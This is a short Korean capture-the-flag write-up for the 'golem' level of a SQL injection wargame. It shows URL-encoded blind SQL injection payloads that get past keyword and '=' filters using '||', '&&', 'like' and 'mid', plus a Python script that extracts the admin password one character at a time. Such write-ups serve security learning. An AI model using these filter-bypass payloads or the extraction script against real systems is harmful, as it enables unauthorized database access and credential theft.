Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$_GET[pw] = addslashes($_GET[pw]);
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
필터링 및 주요 조건은 위와 같다. pw에 알맞은 문자를 입력해야만 문제를 해결할 수 있다.
pw를 구하기 위해, pw 길이 부터 구해보도록 한다.
?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)>8%23
?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23
= (%3D)이 필터링 되고 있으므로, 부등호 혹은 like를 통해 이를 우회(대체)할 수 있다. 위 payload를 통해 pw 길이가 8글자임을 알게되었다.
이전에도, 이와 비슷한 문제가 있었다. 그때 사용했던 코드를 재사용하되, = 을 like로 수정해주도록 한다! mid는 substring으로도 대체하여 코드를 실행할 수 있다.
import requests
import string
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1'|| "
cookies ={'PHPSESSID':"m6c15ihc3qg0rpcgoaujbiepme"}
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) like "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += j
break
print("pw: "+result)